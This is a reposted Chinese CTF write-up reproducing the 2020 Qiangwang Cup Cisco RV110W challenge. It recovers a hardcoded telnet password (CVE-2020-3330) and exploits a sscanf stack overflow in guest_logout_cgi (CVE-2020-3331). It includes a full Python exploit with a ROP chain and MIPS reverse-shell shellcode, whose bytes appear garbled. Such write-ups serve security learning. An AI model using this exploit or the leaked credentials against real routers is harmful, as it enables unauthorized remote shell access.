2020强网杯线下-RV110W赛题复现

admin 2023年9月12日19:59:52评论21 views字数 5210阅读17分22秒阅读模式

笔者本来想用fap等工具模拟这台机器进行复现的,但是苦于一直模拟失败,只好买了一台真机进行复现,不过还是要多说一句,真机就不用担心模拟会出现的各种问题了,可以直接开搞,真香。

题目提供的路由器固件版本为RV110W-1.2.2.5,可以在思科官网(https://www.cisco.com/c/zh_cn/support/all-products.html)下载。

准备

我们首先进入cisco路由器管理后台。默认后台ip为192.168.1.1,默认用户名和密码为cisco: cisco

这里可以大致浏览后台提供的功能。

2020强网杯线下-RV110W赛题复现

我们可以在固件更新界面刷写路由器。我们需要cisco版本为1.2.2.5,若不符合,直接在官网上下载固件,更新即可。

2020强网杯线下-RV110W赛题复现

到了这里,我们就可以开始了。

信息收集

使用nmap扫描开放的端口。

nmap -Pn 192.168.1.1

2020强网杯线下-RV110W赛题复现

搜索固件历史漏洞,看有没有能用的。

2020强网杯线下-RV110W赛题复现

这里看xuanxuan师傅的博客https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/,可以了解到,CVE-2020-3330CVE-2020-3331对我们来说是有价值的。其中,CVE-2020-3330telnet密码泄露bug,可以通过该漏洞获取路由器shell,方便我们调试。CVE-2020-3331是栈溢出漏洞,是我们控制该路由器的关键。

CVE-2020-3330

对固件进行binwalk解压,获取固件文件系统。

通过在文件系统全局搜索telnet,获取到关键信息。

2020强网杯线下-RV110W赛题复现

这里查看**/sbin/rc** 文件。

在IDA中直接搜索telnet字符串,然后交叉引用,可以定位到关键位置。

2020强网杯线下-RV110W赛题复现

可以拿到路由器telnet用户密码。

2020强网杯线下-RV110W赛题复现


admin:$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.:15880:0:99999:7:::

我们直接使用网站或者john解密即可。

需要注意的是,这里使用john解密时需要把密码写入到文件中。

2020强网杯线下-RV110W赛题复现

可以得到用户名和密码为admin:Admin123

2020强网杯线下-RV110W赛题复现

CVE-2020-3331

准备

在主机上下载海特实验室编译好的gdbserver(https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver),下载完整版的busybox(https://busybox.net/downloads/binaries/1.21.1/busybox-mipsel)

在windows本地起一个http文件服务器。


python -m http.server 8000

在路由器**/tmp**文件下使用wget下载本地文件。

2020强网杯线下-RV110W赛题复现

漏洞分析

固件对比

在cisco路由器官网上下载1.2.2.8版本的固件,然后使用bindiff对比,寻找漏洞点。

2020强网杯线下-RV110W赛题复现

根据漏洞描述,大致可以确定是guest_logout_cgi函数的问题。

双击,打开反编译对比窗口。

2020强网杯线下-RV110W赛题复现

很容易可以看到sscanf这种容易造成溢出的函数。

接下来,使用IDA分析该函数。

静态分析

2020强网杯线下-RV110W赛题复现

可以看到,sscanf函数将submit_button(可控)格式化输出到v28,v29变量中,并没有检查长度,容易造成栈溢出。

这里我们关注格式化字符串%[^;];%*[^=]=%[^n]的含义。通过gpt分析,可以得到如下输入格式:


<部分1>;<跳过等号部分>=<部分2>n

通过对guset_logout_cgi交叉引用,可以找到sub_431EEC函数。

2020强网杯线下-RV110W赛题复现

该函数判断是否为post请求(猜测),若是,即调用guest_logout_cgi函数。

该函数没有调用点,猜测用户可以直接发生请求。

测试


import requests
url = "https://192.168.1.1/guest_logout.cgi"

data = {
"cmac": "E8:80:88:63:87:76",
"cip": "192.168.1.71",
"submit_button": "status_guestnet.asp" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
}

response = requests.post(url, data=data, verify=False)

print(response.status_code)
print(response.text)

这里使用post请求,使用超长的submit_button参数,测试该服务是否down掉。

在路由器中使用netstat -pantu查看服务,可以看到服务的pid为356。因为我们使用的是https请求,也即443端口。

2020强网杯线下-RV110W赛题复现

使用ps查看对于服务运行的命令。

2020强网杯线下-RV110W赛题复现

当我们发送完请求后,再次使用ps,可以看到httpd -S服务已经down掉了。

2020强网杯线下-RV110W赛题复现

漏洞利用

调试

注意,我们每次尝试都会把该服务打崩,需要重新启动。

2020强网杯线下-RV110W赛题复现

这里,我们使用gdbserverattach服务进程。


chmod +x gdbserver-7.7.1-mipsel-mips32-v1
./gdbserver-7.7.1-mipsel-mips32-v1 0.0.0.0:1234 --attach 579

然后,使用gdb-multiarch远程连接。


gdb-multiarch ../usr/sbin/httpd # 可以直接加载文件架构以及符号

2020强网杯线下-RV110W赛题复现

测试偏移

2020强网杯线下-RV110W赛题复现

同时,该路由器没有开pie,可以直接泄露libc基地址,从而调用libc的函数。

2020强网杯线下-RV110W赛题复现

剩下的就是栈溢出的利用了,可以参考笔者这篇文章(https://lst-oss.github.io/2023/07/02/mips%E6%A0%88%E6%BA%A2%E5%87%BA%E5%B8%B8%E8%A7%81ROP%E6%9E%84%E9%80%A0/)

对于路由器而言,我们的目标一般就是执行shellcode,从而实现反弹shell的效果。基于mips架构缓冲区的特殊性,我们需要执行的rop链大概为sleep(1) + shellcode这种方式。

shellcode可以从这里找到:http://shell-storm.org/shellcode/files/shellcode-860.html

需要的gadget如下图所示,均可以使用IDA通过mipsrop找到。

其执行顺序大致也如下图顺序所示:

2020强网杯线下-RV110W赛题复现

2020强网杯线下-RV110W赛题复现
2020强网杯线下-RV110W赛题复现

2020强网杯线下-RV110W赛题复现

2020强网杯线下-RV110W赛题复现

2020强网杯线下-RV110W赛题复现
最终wp如下:


from pwn import *
import requests

context.log_level = 'debug'
context.arch = 'mips'

url = "https://192.168.1.1/guest_logout.cgi"

# 192.168.1.71 31337
shellcode = b"xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
shellcode += b"xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += b"xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += b"x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
shellcode += b"xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
shellcode += b"x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
shellcode += b"xf8xffxa5xaf"
shellcode += b"x01x47x05x3cxc0xa8xa5x34" # li $a1, ip(192.168.1.71)
shellcode += b"xfcxffxa5xaf"
shellcode += b"xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
shellcode += b"x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
shellcode += b"x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
shellcode += b"xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
shellcode += b"xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
shellcode += b"xabx0fx02x24x0cx09x09x01"

libc_base = 0x2af98000
mysleep = libc_base + 0x000506c0

payload = b'a' * 85

payload += p32(libc_base + 0x113e0)
payload += b'b' * 0x18 # sp offset

payload += b'a' * 4 # s0
payload += p32(libc_base + 0x214b4) # s1
payload += b'a' * 4 # s2
payload += p32(mysleep) # s3
payload += b'a' * 4 # s4
payload += p32(libc_base + 0x3d7e4) # s5
payload += b'a' * 4 # s6
payload += b'a' * 4 # s7
payload += b'a' * 4 # fp
payload += p32(libc_base + 0x171e0) # ra

payload += b'a' * 0x18 # sp offset
payload += p32(libc_base + 0x3d050) # $s0
payload += b'a' * 0x10
payload += p32(libc_base + 0x257a0) # $ra

payload += b'a' * 0x18

payload += shellcode

data = {
"cmac": "E8:80:88:63:87:76",
"cip": "192.168.1.71",
"submit_button": "status_guestnet.asp".encode() + payload
}

response = requests.post(url, data=data, verify=False)

print(response.status_code)
print(response.text)

2020强网杯线下-RV110W赛题复现

2020强网杯线下-RV110W赛题复现

ok,成功反弹shell。

这里需要注意的一点是,由于笔者是虚拟机网络是Net模式,没办法跟路由器在同一个网段下(可以使用桥接使路由器与虚拟机在统一网段下),路由器访问不到虚拟机,这里笔者在windows下监听并成功反弹shell。

总结

通过这次强网杯赛题漏洞的复现分析,学到了很多知识。当然,这只是我iot学习路上的一小步,未来还有很长的路要走,继续加油。

参考文章

https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
https://zyen12138.github.io/2021/10/05/RV110W%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-2020%E5%B9%B4%E5%BC%BA%E7%BD%91%E6%9D%AF%E8%B5%9B%E9%A2%98/
https://7ee1n.github.io/2021/09/25/ciscoRV110w-CVE-2020-3331/
https://wzt.ac.cn/2020/11/10/cisco-rv110w-bugs/

2020强网杯线下-RV110W赛题复现

看雪ID:l1s00t

https://bbs.kanxue.com/user-home-946172.htm

*本文为看雪论坛优秀文章,由 l1s00t 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):2020强网杯线下-RV110W赛题复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月12日19:59:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2020强网杯线下-RV110W赛题复现http://cn-sec.com/archives/2030433.html

发表评论

匿名网友 填写信息